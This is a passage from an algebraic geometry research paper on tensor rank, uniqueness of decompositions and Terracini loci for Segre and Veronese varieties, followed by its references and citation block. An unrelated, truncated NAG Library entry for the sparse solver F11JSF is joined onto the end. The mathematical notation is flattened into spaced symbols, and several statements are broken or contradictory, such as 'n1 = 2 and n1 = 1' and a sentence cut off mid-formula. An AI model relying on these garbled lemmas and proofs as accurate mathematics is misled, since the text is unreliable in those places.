∈ Y$ such that $o ≠ u$ and $π i ( o ) = π i ( u )$ for all $i > 1$. Take an arrow $v ⊂ Y$ such that $v red = { o }$ and $deg ( π i ( v ) ) = 2$ for all $i > 1$. Please note that $〈 ν ( { o , u } ) 〉 = ν ( L )$ with $L = P 1 × ( o 2 , ⋯ , o n ) ⊂ Y$. If $Y = P 2 × ( P 1 ) k − 1$ assume $π 1 ( v ) ∉ π 1 ( L )$. Set $A : = v ∪ u$. Please note that Y is the minimal multiprojective space containing A and that $〈 ν ( A ) 〉 = 〈 ν ( v ∪ o ′ ) 〉$ for all $o ′ ∈ L$.\nLemma 4.\nTake $Y = P 2 × P 2 × P n 3 × ⋯ × P n k$, $k ≥ 3$. Theorem 3 is true for Y and all B such that $deg ( B ) = 3$ and $A ∩ B = ∅$.\nProof.\nAssume the existence of $B ⊂ Y$ such that B is either the union of an arrow and a point or the union of 3 distinct points, $B ≠ A$ and $q ∈ 〈 ν ( B ) 〉$. Set $W : = A ∪ B$. By Propositions 1 and 2 we may assume that $ν ( B )$ irredundantly spans q. Since $dim | O Y ( ε 2 ) | + dim | O Y ( ε 3 ) | ≥ 3$, there is $H ′ ∈ | O Y ( ε 2 ) |$ and $H ′ ′ ∈ | O Y ( ε 3 ) |$ such that $H : = H ′ ∪ H ′ ′$ contains B. Since $h 0 ( O Y ( ε 1 ) ) = deg ( A )$ and Y is the minimal multiprojective space containing A, $h 1 ( I A ( ε 1 ) ) = 0$. Thus, the residual exact sequence of H and (, Lemma 5.1) give $W ⊂ H$. This is true for all $H ′ , H ′ ′$ whose union contains B. Since Y is the minimal multiprojective space containing A, $π 2 ( A )$ spans $P 2$. Thus, $deg ( H ′ ∩ A ) ≤ 2$. We obtain that $π 2 ( B )$ spans $P 2$. Thus, we obtain that the lines of $P 2$ spanned by degree 2 subschemes of A and B are the same. We also obtain that $π 3 | B$ is an embedding and then we get that $π 3 | A$ is an embedding. Since $A ∩ B = ∅$, (, Lemma 5.1) and the residual exact sequence of $H ′ ′$ gives $h 1 ( I Res H ′ ( W ) ( ε ^ 2 ) ) > 0$. Please note that $Res H ′ ( W )$ is a degree 2 reduced scheme, one of its 2 points being in $A red$, while the other one is an element of $B red$. Since $π 3 | B$ and $π 3 | A$ are embeddings with the same set-theoretic image, B is the union of an arrow and a point, say $B = v ′ ∪ { u ′ }$ with $π 3 ( u ′ ) = π 3 ( u )$. Taking $H ′ ′$ containing $π 2 ( u ′ )$ we obtain $π j ( u ′ ) = π j ( u )$ for all $j ≠ 2$. Using $| O Y ( ε 1 ) |$ and $| O Y ( ε 3 ) |$ in the same way we obtain $π j ( u ′ ) = π j ( u )$ for all $j ≠ 1$, contradicting the assumption $A ∩ B = ∅$. □\nLemma 5.\nTake $Y = P 2 × ( P 1 ) k − 1$, $k ≥ 4$. Theorem 3 is true for Y and all B such that $deg ( B ) = 3$ and $A ∩ B = ∅$.\nProof.\nAssume the existence of $B ⊂ Y$ such that B is either the union of an arrow and a point or the union of 3 distinct points, $B ≠ A$ and $q ∈ 〈 ν ( A ) 〉$. Set $W : = A ∪ B$. By Propositions 1 and 2 we may assume that $ν ( B )$ irredundantly spans q. Fix $i ∈ { 2 , ⋯ , k }$. Mimicking the proof of Lemma 4 using $| O Y ( ε 1 ) |$ and $| O Y ( ε i ) |$ instead of $| O Y ( ε 2 ) |$ and $| O Y ( ε 3 ) |$ and doing it for all i we obtain that B is the union of a point $u ′$ and an arrow $v ′$ that each $π h | B$ and $π h | A$ are embeddings with the same images, that $π 1 ( B )$ spans $P 2$ and that $π j ( u ) = π j ( u ′ )$ and $π j ( v ) = π j ( v ′ )$ for all $j > 1$. Set $o ′ : = v red ′$. We proved that $π h ( o ′ ) = π h ( o )$ for all $h > 1$. Take $M ∈ | O Y ( ε 2 )$ containing $o ′$ and $M ′ ∈ | O Y ( ε 3 ) |$. Please note that $Res M ∪ M ′ ( W ) = { o , o ′ }$. Since $A ∩ B = ∅$, (, Lemma 5.1) and the residual exact sequence of $M ∪ M ′$ give $π 1 ( o ′ ) = π 1 ( o )$. Thus, $A ∩ B ≠ ∅$, a contradiction. □\nRemark 12.\nAssume that Y is the minimal multiprojective space containing $A = v ∪ { u }$, $o : = v red$, and that $k ≥ 2$. Fix $i ∈ { 1 , ⋯ , k }$ and assume that $η i | A$ is not an embedding. Since Y is the minimal multiprojective space containing A, we obtain $deg ( η 1 ( A ) ) = 2$, $n h = 1$ for all $h ≠ i$ and that $π i | A$ is an embedding. Since $π i | A$ is an embedding, we obtain that $η h | A$ is an embedding for all $h ≠ i$.\n(a)\nAssume $η i ( A ) = η i ( { o , o ′ } )$. In this case $η i ( v ) = η i ( o )$. We obtain that $〈 ν ( v ) 〉$ is a line contained in Y. Thus, all points of $〈 ν ( A ) 〉$ have tensor rank at most 2. This is Example 7.\n(b)\nAssume $η i ( A ) = η i ( v )$. In this case $π h ( u ) = π h ( o )$ for all $h ≠ i$. Thus, $〈 ν ( { o , u } ) 〉$ is a line contained in the i-th ruling of the Segre $ν ( Y )$, say $〈 ν ( { o , u } ) 〉 = ν ( R )$. For each $u ′ ∈ R ∖ { o }$ we have $〈 ν ( A ) 〉 = 〈 ν ( v ∪ u ′ ) 〉$. In particular uniqueness fails for each q irredundantly spanned by $ν ( A )$. This case obviously occurs both with $n i = 1$ and with $n i = 2$. This is Example 8.\n(c)\nFix a set $S ⊂ Y$ such that $# S = 3$ and Y is the minimal multiprojective space containing Y. Assume the existence of $i ∈ { 1 , ⋯ , k }$ such that $η i | S$ is not injective. By (, Remark 1.10) each point of $〈 ν ( S ) 〉$ has tensor rank at most 2.\nSince $ν ( A )$ is linearly independent, there is $B ′ ⊆ B$ such that $ν ( A ∪ B ′ )$ is linearly dependent and $B ′$ is minimal with this property. If $B ′ ≠ B$ we obtain $〈 ν ( A ) 〉 ∩$ From now on\nLemma 6.\nTake $Y = ( P 1 ) k$, $k ≥ 5$. Theorem 3 is true for Y and all B such that $deg ( B ) = 3$ and $A ∩ B = ∅$.\nProof.\nAssume the existence of $B ⊂ Y$ such that B is either the union of an arrow and a point or the union of 3 distinct points, $B ≠ A$ and $q ∈ 〈 ν ( A ) 〉$. Set $W : = A ∪ B$. By Propositions 1 and 2 we may assume that $ν ( B )$ irredundantly spans q. If B contains an arrow, then $# W red = 4$. If B is formed by 3 distinct points, then $# W red = 5$.\n(a)\nAssume for the moment that Y is not the minimal multiprojective space containing B. Thus, there is $i ∈ { 1 , ⋯ , k }$ and $H ∈ | O Y ( ε i ) |$ such that $B ⊂ H$ and hence $Res H ( W ) ⊆ A$. Since $A ∩ B = ∅$, (, Lemma 5.1) gives $h 1 ( I Res H ( W ) ( ε ^ 1 ) ) = 0$. Since $A ⊆ Res H ( W )$, either $η i | A$ is not an embedding or $A = Res H ( W )$ and $deg ( π j ( A ) ) = 1$ for $k − 2$ indices j, contradicting the minimality of Y. Thus, Y is the minimal multiprojective space containing B. If there is $i ∈ { 1 , ⋯ , k }$ such that $η i | B$ is not an embedding, we apply Remark 12 to B.\n(b)\nBy assumption we are not as in Example 7 or 8 for A or B. Thus, we may assume that all $η i | B$ and all $η i | A$ are embeddings. There are 4 degree 2 schemes $E ⊂ W$ formed by one point of $A red$ and one point of $B red$. Since $k > 4$, there is $i ∈ { 1 , ⋯ , k }$ such that $η i | W$ is an embedding. With no loss of generality we may assume $i = 1$.\n(b1)\nAssume that $π 1 | W$ is an embedding. Take $M ∈ | O Y ( ε 1 ) |$ containing a reduced connected component a of B. Please note that $Res M ( W ) = W ∖ { a }$. Since $A ⊂ W ′$ and Y is the minimal multiprojective space containing Y, $Y 1$ is the minimal multiprojective space containing $η 1 ( A ) ⊂ η 1 ( Res M ( W ) )$ and $ν 1 ( η 1 ( A ) )$ is linearly independent by Remark 7. Since $η 1 | W$ is an embedding, $η 1 | Res H ( W )$ is an embedding. Thus, $h 1 ( I Res H ( W ) ) ( ε ^ 1 ) ) = h 1 ( Y 1 , I η 1 ( Res H ( W ) ( 1 , ⋯ , 1 ) )$. Since $A ∩ B = ∅$ and $η 1 | W$ is an embedding, (, Lemma 5.1) gives $h 1 ( Y 1 , I η 1 ( W ∖ { a } ) ( 1 , ⋯ , 1 ) ) > 0$. Since $k ≥ 3$ and Y is the minimal multiprojective space containing Y, $ν 1 ( A )$ is linearly independent by (, Lemma 4.4). Let $W 1 ⊆ η 1 ( W ∖ { a } )$ the minimal subscheme of $η 1 ( W ∖ { a } )$ containing A such that $h 1 ( Y 1 , I W 1 ( 1 , ⋯ , 1 ) ) > 0$. If $deg ( W 1 ) = 4$ (resp. $deg ( W 1 ) = 5$), Proposition 1 (resp. Proposition 2) gives that $η 1 ( A )$ depends on at most 2 (resp. 3) factors of $Y 1$. Thus, A depends on at most 4 factors of Y, a contradiction.\n(b2)\nAssume that $π 1 | W$ is not an embedding. If there is $M ∈ | O Y ( ε 1 ) |$ such that $M ∩ B ≠ ∅$ and $M ∩ A = ∅$, then we may repeat the proof of step (b1). Since Y is the minimal multiprojective space containing B by step (a), we conclude if there is $M ∈ | O Y ( ε 1 ) |$ such that $M ∩ A ≠ ∅$ and $M ∩ B = ∅$. Thus, we may assume $π 1 ( A ) red = π 1 | ( B ) red$. Since $A ∩ B = ∅$ and $A ⊈ H$, (, Lemma 5.1) gives $h 1 ( I Res H ( W ) ) ( ε ^ 1 ) ) > 0$. Since $η 1 | W$ is an embedding, $η | Res H ( W )$ is an embedding. Thus, $h 1 ( I Res H ( W ) ) ( ε ^ 1 ) ) = h 1 ( Y 1 , I η 1 ( Res H ( W ) ( 1 , ⋯ , 1 ) )$. Let $W 1 ⊆ η 1 ( Res H ( W ) )$ be a minimal subscheme of such that $h 1 ( Y 1 , I W 1 ( 1 , ⋯ , 1 ) ) > 0$. If $W 1 = η 1 ( Res H ( W ) )$, then Proposition 2 gives that $Res H ( W 1 )$ depends on at most 3 factors of Y, one of them being the first one.\nExample 9.\nAssume $Y = ( P 1 ) 4$, that Y is the minimal multiprojective space containing A. Fix $q ∈ 〈 ν ( A ) 〉$ with tensor rank $> 2$. If q has tensor rank 3, then its tensor rank is evinced by $∞ 1$ sets $ν ( S )$ with $# S = 3$, because $σ 3 ( Y )$ is defective ([34,35,36]).\nObservation 1:\nAssume that $π i | A$ is an embedding for all $i = 1 , 2 , 3 , 4$. There are $∞ 1$ morphisms $f i : P 1 → P 1$ such that $f i ( 0 ) = π i ( o )$ and $f i ( ∞ ) = π i ( u )$. Thus, we obtain $∞ 4$ different morphism $f : P 1 → Y$ such that $f ( 0 ) = o$ and $f ( ∞ ) = u$ and the linear spans of the images of $( 20 , P 1 )$ by these morphisms covert= the projective tangent space $P T o Y$ except its 4 hyperplanes tangents to the hypersurfaces $π i − 1 ( o )$. Hence $A ⊂ f ( P 1 )$ for some f. Thus, $ν ( A )$ is contained in the rational normal curve $C : = ν ( f ( P 1 ) )$ of the 4-dimensional space $〈 ν ( f ( P 1 ) ) 〉$. The point q has cactus rank $≤ 3$ with respect to C. By Sylvester’s theorem $r C ( q ) = 3$ and the C-rank is achieved by $∞ 1$ subsets of C with cardinality 3.\nNow assume that $π i | A$ is not an embedding for some i, say for $i = 1$. We extend $Σ 3 0 ( ν ( Y ) )$ taking instead of $S ( ν ( Y ) , 3 )$ the open subset U of the irreducible component $H ( X , 3 )$ of the Hilbert scheme of $ν ( Y )$ containing $S ( ν ( Y ) , 3 )$ and formed by degree 3 linearly independent schemes. Please note that $A ∈ U$ and that A is limit of elements $A ′ ∈ U$ such that each $A ′$ is a union of an arrow and a point and $π i ( A ′ )$ is an embedding for all $i = 1 , 2 , 3 , 4$ and all $A ′ ≠ A$. Use Observation 1 and (, Ex. II.3.22) to see that in this case q is spanned by infinitely many $ν ( A ′ )$. Since A has 2 connected components, each nearby $A ′$ has at least 2 connected components, i.e., it is the union of either 3 points or a point and an arrow.\nProof of Theorem 3.\nIf $deg ( B ) ≤ 2$, then we are in the set-up of Propositions 1 and 2. Thus, we may assume $deg ( B ) = 3$.\nIf $k = 2$ we use Remark 10. Thus, we may assume $k ≥ 3$.\nIf $A ∩ B ≠ ∅$ we use Proposition 2 and the examples listed in case (7) of the theorem. Thus, we may assume $A ∩ B = ∅$.\nIf $n 1 = n 2 = 2$ we use Lemma 4.\nIf $n 1 = 2$ and $n 1 = 1$ we use Lemma 5.\nExample 9 consider the case $Y = ( P 1 ) 4$.\nLemma 6 exclude the case $Y = ( P 1 ) k$, $k ≥ 5$. □\n\n## 6. Speculations on the Higher Derivatives and Uniqueness\n\nFix integral and non-degenerate varieties $X ⊂ P r$ and $W ⊂ P r$. Set $n : = dim X$ and $m : = dim W$. Fix a finite set $S ⊂ X reg$, $S ≠ ∅$, $u ∈ X reg$ and $v ∈ W reg$. Set $k : = # S$. Suppose that $dim 〈 ∪ o ∈ S ( 2 o , X ) 〉 < k ( n + 1 ) − 1$ (resp. $dim 〈 ( 2 u , X ) ∪ ( 2 v , W ) ≤ n + m$), i.e., assume that S is in the k-Terracini locus of S (resp. the pair $( u , v )$ is in the Terracini locus of the join of X and W). Thus, the differential of a certain map, call it f, is not injective at S (resp. at $( u , v )$). It is natural to ask if this is due that the fact that the fiber of f containing S (resp. $( u , v )$) has a positive-dimensional component passing through S (resp. $( u , v )$). Easy examples shows that this is not always the case (Examples 10 and 11).\nExample 10.\nFix integer $r ≥ 3$. We claim the existence of a smooth, rational and non-degenerate curve $X ⊂ P r$ and $u , v ∈ X$ such that $u ≠ v$, $T u X = T c X$ and $dim 〈 O ( X , 2 ) u ∪ O ( X , 2 ) v 〉 = 3$, i.e., $dim O ( X , 2 ) u = dim O ( X , 2 ) v = 2$ and $O ( X , 2 ) u ∩ O ( X , 2 ) v = T u X$. In this case the fiber of the abstract 2-secant map of X at $( u , v )$ is finite. Fix an integer $d ≥ 7$. Let $C ⊂ P d$ be the rational normal curve. Fix $o , p ∈ C$ such that $o ≠ p$. Since C is a rational normal curve and $d ≥ 7$, the degree 6 scheme $( 3 o , C ) ∪ ( 3 p , C )$ is linearly independent. Thus, $dim 〈 ( 2 o , C ) ∪ ( 2 p , C ) 〉 = 3$. Fix a general line $L ⊂ 〈 ( 2 o , C ) ∪ ( 2 p , C ) 〉$ and a general linear subspace $M ⊂ P d$ such that $dim M = d − r − 1$ and $L ⊆ M$. Since $r ≥ 3$ and M is general, $M ∩ 〈 ( 3 o , C ) ∪ ( 3 p , C ) 〉 = L$.\nClaim 1:\n$M ∩ σ 2 ( C ) = ∅$ and the linear projection $ℓ : P d ∖ M → P r$ from M induces an isomorphism between C and the degree d curve $X : = ℓ ( C ) ⊂ P r$.\nProof of Claim 1:\nSince C is smooth, each point of $σ 2 ( C )$ is contained in a tangent line or a secant line of C. Since $C ⊂ P d$ is a rational normal curve, every closed subscheme of C of degree at most $d + 1$ is linearly independent. Thus, the assumption $d ≥ 7$ implies $σ 2 ( C ) ∩ 〈 ( 3 o , C ) ∪ ( 3 p , C ) 〉 = ( 2 o , C ) ∪ ( 2 p , C )$. Since L is general in $〈 ( 2 o , C ) ∪ ( 2 p , C ) 〉$ and M has codimension at least 3 in $P d$, $M ∩ σ 2 ( C ) = ∅$ and hence $M ∩ C = ∅$ and $ℓ | C$ induces an isomorphism between C and the degree d non-degenerate curve X. □\nClaim 1 shows that $dim O ( X , 2 ) u = dim O ( X , 2 ) v = 2$ and $O ( X , 2 ) u ∩ O ( X , 2 ) v = T u X$. Since $dim X = 1$, the fibers of the map $π : Σ 2 0 ( X ) → σ 2 ( X )$ have dimension 0.\nExample 11.\nFix integer $r ≥ 4$. We claim the existence of a smooth, rational and non-degenerate curve $X ⊂ P r$ and $u , v ∈ X$ such that $u ≠ v$, $T u X ≠ T v X$ is a point not in X and $dim 〈 O ( X , 2 ) u ∪ O ( X , 2 ) v 〉 = 4$, i.e., $dim O ( X , 2 ) u = dim O ( X , 2 ) v = 2$ and $O ( X , 2 ) u ∩ O ( X , 2 ) v = T u X ∩ T v X$. In this case the fiber of the abstract 2-secant map of X at $( u , v )$ is finite. Fix an integer $d ≥ 8$. Let $C ⊂ P d$ be the rational normal curve. We adapt Example 10. Instead of L we take a general $c ∈ 〈 T o C ∪ T p C 〉$ and take as M a general linear subspace of codimension $d − r − 1$ containing c.\nFix an integral and non-degenerate n-dimensional variety $X ⊂ P r$ and a positive integer s such that $σ s ( X ) ⊊ P r$. Let $σ s 00 ( X )$ denote the set of all $q ∈ P r$ with X-rank r. Let $σ s 00 ( X ) uni$ denote the set of all $q ∈ σ s 00 ( X )$ which are in the linear span of a unique subset of X with cardinality. The sets $σ s 00 ( X )$ and $σ s 00 ( X ) uni$ are constructible and the first one contains a non-empty open subset of $σ s ( X )$. Assume that $σ s ( X )$ has the expected dimension, $s ( n + 1 ) − 1$, to hope to have $σ s 00 ( X ) uni ≠ ∅$. There are criterion which guarantee that $σ s 00 ( X ) uni$ is dense in $σ s ( X )$, (for any X weak nondefectivity and tangential nondefectivity ([10,11,12]), for tensors and partially symmetric tensors the famous Kruskal criterion and its modifications; up to now for tensors the best results are in ).\nQuestion 4.\nAssume $σ s 00 ( X ) uni$ dense in $σ s 00 ( X )$. Describe in specific cases the non-uniqueness set $σ s 00 ( X ) ∖ σ s 00 ( X ) uni$.\nThere are examples with $σ s ( X ) = P r$, $σ s 00 ( X )$ containing a general $q ∈ P r$, $σ s 00 ( X ) uni ≠ ∅$ and $σ s 00 ( X ) uni$ very small (linearly normal embeddings of elliptic curves). If $z : = r X ( q ) < r$, say $q = 〈 S 〉$ with $S ⊂ X$ and $# S = z = 1$, q is in the linear span of all $S ∪ { o }$, $o ∈ S ∖ { o }$, but none of these sets irredundantly spans q. For tensors a general tensor of each rank s is irredundantly spanned by sets of t points if $s < t ≤ s$ in infinitely many ways (, Theorem 3.8). The following example with z any positive integer shows that sometimes above its rank $z : = r X ( q )$ a point q may be irredundantly spanned by a unique set of cardinality $z + 1$.\nExample 12.\nWe first construct a smooth curve $X ⊂ P r$, $r ≥ 3$, and $q ∈ X$ such that there is a unique $S ⊂ X ∖ { q }$ with $# S = 2$ and $q ∈ 〈 S 〉$. Let $C ⊂ P d r + 1$ be a rational normal curve of degree $r + 1$. Fix 3 distinct points a, b and c of C and let o be a general element of $〈 { a , b , c } 〉$. Let $ℓ o : P r + 1 ∖ P r$ denote the linear projection from o. By Sylvester theorem (or because any subscheme of C of degree $≤ d + 1$ is linearly independent) there is no $Z ⊂ C$ such that $deg ( Z ) ≤ 2$ and $o ∈ 〈 Z 〉$. Thus, $o ∉ C$ and $ℓ = ℓ o | C$ induces an embedding of C into $P r$. Set $X : = ℓ ( C )$, $q : = ℓ ( a )$ and $S : = ℓ ( { b , c } )$. Thus, $q ∈ X$ and the set S irredundantly spans q. Assume the existence of a set $S ′ ⊂ X$ such that $# S ′ = 2$ and $S ′$ irredundantly spans q, i.e., $q ∉ S ′$ and $q ∈ 〈 S ′$. Set $E : = ℓ − 1 ( S ′ )$ and $F : = { a , b , c } ∪ E$. Since ℓ is an embedding, $# F = 5$. Since $r + 1 ≥ 4$, $dim 〈 F 〉 = 4$. Thus, $dim ℓ o ( 〈 F 〉 ∖ { o } ) = 3$ contradicting the fact that the lines $〈 S 〉$ and $〈 S ′ 〉$ meets at q. Now we fix an integer $z > 1$ and modify the previous example to obtain one for z. Fix an integer $r ≥ 3 z$. Let $C ⊂ P r + 1$ be a rational normal curve. Fix $2 z + 1$ general points $a 1 , ⋯ , a z , b 1 , ⋯ , b z + 1$ and a general $o ∈ 〈 { a 1 , ⋯ , a z , b 1 , ⋯ , b z + 1 } 〉$. Since $r ≥ 3 z$, any closed subscheme of C of degree $≤ 3 z + 2$ is linearly independent. Let $ℓ o : P r + 1 ∖ P r$ denote the linear projection from o. The map $ℓ o$ induces an embedding $ℓ : C → P r + 1$. Set $X : = ℓ ( C )$. By construction the $( z − 1 )$-dimensional space $〈 ℓ ( { a 1 , ⋯ , a z } ) 〉$ meets the z-dimensional space $〈 ℓ ( { b 1 , ⋯ , b z + 1 } ) 〉$ at a unique point, q. Since any $3 z + 2$ points of C are linearly independent, we first see that q has X-rank z, then that $ℓ ( { a 1 , ⋯ , a z } )$ is the unique set evincing the X-rank of q and then that $ℓ ( { b 1 , ⋯ , b z + 1 } )$ is the unique subset of X with cardinality $z + 1$ irredundantly spanning q.\n\n## Funding\n\nThis research received no external funding.\n\nNot applicable.\n\nNot applicable.\n\n## Conflicts of Interest\n\nThe author declares no conflict of interest.\n\n## References\n\n1. Ådlandsvik, B. Joins and higher secant varieties. Math. Scan. 1987, 61, 213–222. [Google Scholar] [CrossRef][Green Version]\n2. Ballico, E.; Bernardi, A.; Santarsiero, P. Terracini loci for 3 points on a Segre variety. arXiv 2020, arXiv:2012.00574. [Google Scholar]\n3. Ballico, E.; Chiantini, L. On the Terracini locus of projective varieties. Milan J. Math. 2021, 89, 1–17. [Google Scholar] [CrossRef]\n4. Chandler, K. Hilbert functions of dots in linear general position. In Proceedings of the Conference on Zero-Dimensional Schemes, Ravello, Italy, 7 June 1992; pp. 65–79. [Google Scholar]\n5. Chandler, K.A. Geometry of dots and ropes. Trans. Am. Math. Soc. 1995, 347, 767–784. [Google Scholar] [CrossRef]\n6. Chandler, K.A. A brief proof of a maximal rank theorem for generic double points in projective space. Trans. Am. Math. Soc. 2000, 353, 1907–1920. [Google Scholar] [CrossRef][Green Version]\n7. Ballico, E. On the irreducibility of the Severi variety of nodal curves in a smooth surface. Arch. Math. 2019, 113, 483–487. [Google Scholar] [CrossRef][Green Version]\n8. Dedieu, T. Comment on: On the irreducibility of the Severi variety of nodal curves in a smooth surface, by E. Ballico. Arch. Math. 2020, 114, 171–174. [Google Scholar] [CrossRef][Green Version]\n9. Eastwood, A. Collision the biais et application à l’interpolation. Manuscripta Math. 1990, 67, 227–249. [Google Scholar] [CrossRef]\n10. Chiantini, L.; Ciliberto, C. Weakly defective varieties. Trans. Am. Math. Soc. 2002, 454, 151–178. [Google Scholar] [CrossRef]\n11. Chiantini, L.; Ciliberto, C. On the concept of k-secant order of a variety. J. Lond. Math. Soc. 2006, 73, 436–454. [Google Scholar] [CrossRef]\n12. Chiantini, L.; Ciliberto, C. On the dimension of secant varieties. J. Eur. Math. Soc. 2006, 73, 436–454. [Google Scholar] [CrossRef][Green Version]\n13. Chiantini, L.; Ottaviani, G.; Vanniuwenhoven, N. On identifiability of symmetric tensors of subgeneric rank. Trans. Am. Math. Soc. 2017, 369, 4021–4042. [Google Scholar] [CrossRef][Green Version]\n14. Alexander, J.; Hirschowitz, A. Un lemme d’Horace différentiel: Application aux singularité hyperquartiques de P5. J. Algebr. Geom. 1992, 1, 411–426. [Google Scholar]\n15. Alexander, J.; Hirschowitz, A. La méthode d’Horace éclaté: Application à l’interpolation en degré quatre. Invent. Math. 1992, 107, 585–602. [Google Scholar] [CrossRef]\n16. Alexander, J.; Hirschowitz, A. Polynomial interpolation in several variables. J. Algebr. Geom. 1995, 4, 201–222. [Google Scholar]\n17. Brambilla, M.C.; Ottaviani, G. On the Alexander-Hirschowitz Theorem. J. Pure Appl. Algebra 2008, 212, 1229–1251. [Google Scholar] [CrossRef][Green Version]\n18. Hirschowitz, A. Le mèthod d’Horace. Manuscripta Math. 1985, 50, 337–388. [Google Scholar] [CrossRef]\n19. Ciliberto, C.; Miranda, R. Interpolations on curvilinear schemes. J. Algebra 1998, 203, 677–678. [Google Scholar] [CrossRef][Green Version]\n20. González, S.; Mallavibarrena, R. Osculating degeneration of curves. Comm. Algebra 2003, 31, 3829–3845. [Google Scholar] [CrossRef]\n21. Ohno, M. An affirmative answer to a question of Ciliberto. Manuscripta Math. 1993, 81, 437–443. [Google Scholar] [CrossRef]\n22. Bolognesi, M.; Pirola, G. Osculating spaces and diophantine equations (with an Appendix by P. Corvaja and U. Zannier). Math. Nachr. 2011, 284, 960–972. [Google Scholar] [CrossRef][Green Version]\n23. Kaji, H. On the tangentially degenerate curves, II. Bull. Braz. Math. Soc. 2014, 45, 745–752. [Google Scholar] [CrossRef]\n24. Kaji, H. On the tangentially degenerate curves. J. Lond. Math. Soc. 1986, 33, 430–440. [Google Scholar] [CrossRef]\n25. Landsberg, J.M. Tensors: Geometry and Applications. 2012, Volume 128. Available online: http://213.230.96.51:8090/files/ebooks/Matematika/Landsberg%20J.M.%20Tensors..%20geometry%20and%20applications%20(GSM128,%20AMS,%202012)(ISBN%209780821869079)(O)(464s)%20MAl%20.pdf (accessed on 15 October 2021).\n26. Ballico, E.; Bernardi, A.; Santarsiero, P. Dentifiability of rank-3 tensors, Mediterranean. J. Math. 2021, 18, 1–26. [Google Scholar]\n27. Buczyński, J.; Landsberg, J.M. Ranks of tensors and a generalization of secant varieties. Linear Algebra Appl. 2013, 438, 668–689. [Google Scholar] [CrossRef]\n28. Buczyński, J.; Landsberg, J.M. On the third secant variety. J. Algebr. Comb. 2014, 40, 475–502. [Google Scholar] [CrossRef][Green Version]\n29. Ballico, E. Linear dependent subsets of Segre varieties. J. Geom. 2020, 111, 23. [Google Scholar] [CrossRef]\n30. Ballico, E. Linearly dependent and concise subsets of a Segre variety depending on k factors. Bull. Korean Math. Soc. 2021, 58, 253–267. [Google Scholar] [CrossRef]\n31. Ballico, E. Curvilinear subschemes of Segre varieties and the cactus rank. Gulf. J. Math. 2022, in press. [Google Scholar]\n32. Hartshorne, R. Algebraic Geometry; Springer: New York, NY, USA, 1977. [Google Scholar]\n33. Ballico, E.; Bernardi, A. Stratification of the fourth secant variety of Veronese variety via the symmetric rank. Adv. Pure Appl. Math. 2013, 4, 215–250. [Google Scholar] [CrossRef][Green Version]\n34. Abo, G. Ottaviani and C. Peterson, Induction for secant varieties of Segre varieties. Trans. Am. Math. Soc. 2006, 361, 767–792. [Google Scholar] [CrossRef][Green Version]\n35. Catalisano, M.V.; Geramita, A.V.; Gimigliano, A. Ranks of tensors, secant varieties of Segre varieties and fat points. Linear Algebra Appl. 2002, 355, 263–285. [Google Scholar] [CrossRef][Green Version]\n36. Catalisano, M.V.; Geramita, A.V.; Gimigliano, A. Higher secant varieties of the Segre varieties $P 1$ × ⋯ × $P 1$. J. Pure Appl. Algebra 2005, 201, 367–380. [Google Scholar] [CrossRef][Green Version]\n37. Lovitz, B.; Petrov, F. A generalization of Kruskal’s theorem on tensor decomposition. arXiv 2021, arXiv:2103.15633. [Google Scholar]\n38. Ballico, E.; Bernardi, A.; Chiantini, L.; Guardo, E. Bounds on the tensor rank. Ann. Mat. Pura Appl. 2018, 197, 1771–1785. [Google Scholar] [CrossRef][Green Version]\n Publisher’s Note: MDPI stays neutral with regard to jurisdictional claims in published maps and institutional affiliations.\n\n## Share and Cite\n\nMDPI and ACS Style\n\nBallico, E. Base Point Freeness, Uniqueness of Decompositions and Double Points for Veronese and Segre Varieties. Symmetry 2021, 13, 2344. https://doi.org/10.3390/sym13122344\n\nAMA Style\n\nBallico E. Base Point Freeness, Uniqueness of Decompositions and Double Points for Veronese and Segre Varieties. Symmetry. 2021; 13(12):2344. https://doi.org/10.3390/sym13122344\n\nChicago/Turabian Style\n\nBallico, Edoardo. 2021. \"Base Point Freeness, Uniqueness of Decompositions and Double Points for Veronese and Segre Varieties\" Symmetry 13, no. 12: 2344. https://doi.org/10.3390/sym13122344\n\nNote that from the first issue of 2016, this journal uses article numbers instead of page numbers. See further details here." ]

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[ "F11 Chapter Contents\nF11 Chapter Introduction\nNAG Library Manual\n\n# NAG Library Routine DocumentF11JSF\n\nNote:  before using this routine, please read the Users' Note for your implementation to check the interpretation of bold italicised terms and other implementation-dependent details.\n\n## 1  Purpose\n\nF11JSF solves a complex sparse Hermitian system of linear equations, represented in symmetric coordinate storage format, using a conjugate gradient or Lanczos method, without preconditioning, with Jacobi or with SSOR preconditioning.\n\n## 2  Specification\n\n SUBROUTINE F11JSF ( METHOD, PRECON, N, NNZ, A, IROW, ICOL, OMEGA, B, TOL, MAXITN, X, RNORM, ITN, RDIAG, WORK, LWORK, IWORK, IFAIL)\n INTEGER N, NNZ, IROW(NNZ), ICOL(NNZ), MAXITN, ITN, LWORK, IWORK(N+1), IFAIL REAL (KIND=nag_wp) OMEGA, TOL, RNORM, RDIAG(N) COMPLEX (KIND=nag_wp) A(NNZ), B(N), X(N), WORK(LWORK) CHARACTER(*) METHOD CHARACTER(1) PRECON\n\n## 3  Description\n\nF11JSF solves a complex sparse Hermitian linear system of equations\n $Ax=b,$\nusing a preconditioned conjugate gradient method (see Barrett et al. (1994)), or a preconditioned Lanczos method based on the algorithm SYMMLQ (see Paige and Saunders (1975)). The conjugate gradient method is more efficient if $A$ is positive definite, but may fail to converge for indefinite matrices. In this case the Lanczos method should be used instead. For further details see Barrett et al. (1994).\nF11JSF allows the following choices for the preconditioner:\n• – no preconditioning;\n• – Jacobi preconditioning (see Young (1971));\n• – symmetric successive-over-relaxation (SSOR) preconditioning (see Young (1971)).\nFor incomplete Cholesky (IC) preconditioning see F11JQF.\nThe matrix $A$ is represented in symmetric coordinate storage (SCS) format (see Section 2.1.2 in the F11 Chapter Introduction) in the arrays A, IROW and ICOL. The array A holds the nonzero entries in the lower triangular part of the matrix, while IROW and ICOL hold the corresponding row and column indices.\nBarrett R, Berry M, Chan T F, Demmel J, Donato J, Dongarra J, Eijkhout V, Pozo R, Romine C and Van der Vorst H (1994) Templates for the Solution of Linear Systems: Building Blocks for Iterative Methods SIAM, Philadelphia\nPaige C C and Saunders M A (1975) Solution of sparse indefinite systems of linear equations SIAM J. Numer. Anal. 12 617–629\nYoung D (1971) Iterative Solution of Large Linear Systems Academic Press, New York\n\n## 5  Parameters\n\n1:     METHOD – CHARACTER(*)Input\nOn entry: specifies the iterative method to be used.\n${\\mathbf{METHOD}}=\\text{'CG'}$\n${\\mathbf{METHOD}}=\\text{'SYMMLQ'}$\nLanczos method 